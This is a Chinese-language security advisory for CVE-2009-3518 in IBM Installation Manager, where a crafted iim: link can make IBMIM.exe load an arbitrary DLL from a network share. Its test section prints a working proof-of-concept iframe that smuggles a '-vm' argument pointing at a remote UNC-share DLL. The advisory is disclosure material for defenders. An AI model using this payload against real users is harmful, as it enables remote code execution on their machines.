发布日期：2009-09-29
更新日期：2009-10-13

受影响系统：

IBM Installation Manager <= 1.3.0

描述：

---

BUGTRAQ  ID: 36549
CVE ID: CVE-2009-3518

IBM Installation Manager程序帮助在工作站上安装、更新、修改和卸载软件包。

IBM Installation Manager的IBMIM.exe服务没有正确地处理通过iim: URI所接收到的参数，如果用户受骗跟所了恶意链接并接收到了特制的-vm参数，就会导致从网络共享加载任意库。

<*来源：bruiser
  
  链接：http://secunia.com/advisories/36906/
        http://www-01.ibm.com/support/docview.wss?rs=0&uid=swg21407330
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<iframe src='iim://"%20-vm%20\\192.168.0.1\uncshare\sh.dll%20-url%20"'></iframe>

建议：

---

厂商补丁：

IBM
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.ers.ibm.com/

浏览次数：3246
严重程度：0（网友投票）